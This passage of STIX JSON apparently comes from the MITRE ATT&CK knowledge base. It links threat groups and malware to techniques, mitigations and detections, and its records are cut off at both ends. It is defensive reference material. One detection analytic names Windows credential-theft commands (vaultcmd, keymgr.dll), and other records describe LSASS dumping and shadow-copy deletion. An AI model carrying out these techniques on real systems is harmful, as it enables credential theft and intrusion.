2017"}],"modified":"2019-07-16T16:12:09.370Z","description":"(Citation: SecureList Silence Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"tool--96fd6cc4-a693-4118-83ec-619e5352d07d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4659b352-d455-43a6-981a-49c5858c7dcf","type":"relationship","created":"2020-10-20T15:45:24.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:15:12.347Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--465d0043-32d0-4ec9-84a6-c0f455f9a33b","created":"2023-04-10T22:16:16.271Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:16:16.271Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used `tasklist` to enumerate processes.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46660a8a-7724-4577-b09e-551a1ce61bfc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.203Z","description":"[Duqu](https://attack.mitre.org/software/S0038) creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--466ea5cf-ebe7-49da-9197-047c70cabaeb","created":"2023-06-14T20:23:50.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:15:35.518Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) uses ZLIB Compression to compresses data sent to the C2 server in the `payload` section network communication packet.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--467d9812-8d19-4fca-a2fd-5a8e1dbb43f7","created":"2021-03-03T20:31:09.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"},{"source_name":"Microsoft HAFNIUM March 2020","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T21:59:44.141Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used procdump to dump the LSASS process memory.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--467eac5c-0c0b-470b-a1b3-336348639d41","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Azure AD Security Operations for Devices","description":"Microsoft. (2020, September 16). Azure Active Directory security operations for devices. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:29:22.063Z","description":"Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA.(Citation: Microsoft Azure AD Security Operations for Devices)","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--467f79d6-edf7-4e6a-a0d7-8196cd406ce1","type":"relationship","created":"2019-04-17T18:43:36.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2019-04-22T20:29:31.247Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) checks for availability of specific ports on servers.(Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46829b2b-0f05-4022-a254-e8b26fdfb860","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"}],"modified":"2020-03-17T02:34:29.219Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) uses HTTP for C2.(Citation: Malwarebytes SmokeLoader 2016)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4683801a-abe8-4db2-88b9-ebbd2073bfeb","created":"2023-03-21T21:09:26.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Invoke-Obfuscation","description":"Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.","url":"https://github.com/danielbohannon/Invoke-Obfuscation"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T21:10:06.454Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used the `Invoke-Obfuscation` framework to obfuscate their PowerShell.(Citation: FireEye APT32 May 2017)(Citation: GitHub Invoke-Obfuscation)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4684788a-b196-4a91-b4ad-18e93beb9ffb","created":"2021-01-22T13:48:21.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.419Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has cleared event logs on compromised hosts.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4687eeee-4a8c-4b7d-adfc-557598e3795d","created":"2022-04-21T14:39:39.778Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.","modified":"2022-04-21T14:39:39.778Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4688dc57-9101-4f37-a2e3-9b89da7634ed","created":"2023-02-23T18:16:29.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:18:22.011Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used HTTP for C2.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--469231fb-3797-49bf-9f23-078b37a35671","type":"relationship","created":"2020-03-13T11:42:14.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-14T23:52:52.377Z","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation. ","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--469585eb-231d-4ecb-8fc5-fb4f538c3875","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-08-13T20:14:45.607Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4696a49d-caa1-4746-b106-45faf327270b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-16T17:11:22.745Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) can establish persistence by adding Registry Run keys.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--46970d57-04cb-4ffb-9c7e-ff66c0811f25","created":"2022-03-21T22:15:27.604Z","x_mitre_version":"1.0","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can use Keychain Services API functions to find and collect passwords, such as `SecKeychainFindInternetPassword` and `SecKeychainItemCopyAttributesAndData`.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","modified":"2022-04-18T17:51:03.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46a35d96-f926-4086-b394-324ef88bdb21","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes The Windows Vault","description":"Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.","url":"https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:15:35.360Z","description":"Monitor executed commands and arguments for suspicious activity listing credentials from the Windows Credentials locker (e.g. vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault)\n\nAnalytic 1 - Commands indicating credential searches in Windows Credential Manager.\n\n index=security sourcetype=\"Powershell\" EventCode=4104\n(CommandLine IN (\"*vaultcmd.exe*\", \"*rundll32.exe keymgr.dll KRShowKeyMgr*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46a953d5-132d-4748-aa5d-7950103e684d","created":"2024-06-06T19:19:56.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:41:18.088Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can delete volume shadow copy backups from victim machines.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46ace311-9be9-4d4a-8ef0-fc2c0659fba9","type":"relationship","created":"2020-10-20T17:59:21.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-22T16:35:54.314Z","description":"Follow vendor device hardening best practices to disable unnecessary and unused features and services, avoid using default configurations and passwords, and introduce logging and auditing for detection.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46af303d-51d3-4b85-90e2-ee75f62c022c","created":"2020-07-22T19:16:02.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020.","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:04:06.702Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has loaded coinmining software onto systems to mine for Koto cryptocurrency. (Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46b26f19-5b16-4cd9-b031-2eae4910dd3e","created":"2024-01-18T20:12:52.621Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-18T20:12:52.621Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has been distributed to victims via the messaging app Telegram.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46b32cc8-892c-48da-92ab-4ec2168e3edb","type":"relationship","created":"2022-03-24T22:31:32.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.767Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can obtain a list of local groups and members.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46b33aec-21e6-4a5d-b99d-6ce4396a16d8","type":"relationship","created":"2020-10-01T00:49:05.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:49:05.550Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46b38010-b34e-435e-8573-094d6186c7b2","created":"2023-05-18T18:40:57.992Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-18T18:40:57.992Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) has used HTTP POST requests to send data to C2.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46bb2079-28aa-4f64-b2d8-fb111185e419","created":"2023-12-21T21:31:21.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-27T18:03:02.304Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has uploaded captured keystroke logs to the Alibaba Cloud Object Storage Service, Aliyun OSS.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46c31831-b5b7-4e33-a9a2-2fb2f4ab29f8","type":"relationship","created":"2020-03-19T19:10:25.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T19:10:25.629Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46c37037-00da-4cf5-bde1-4296e10e6483","created":"2020-05-26T16:17:59.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Rocke August 2018","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020.","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html"},{"source_name":"Unit 42 Rocke January 2019","description":"Xingyu, J.. (2019, January 17). 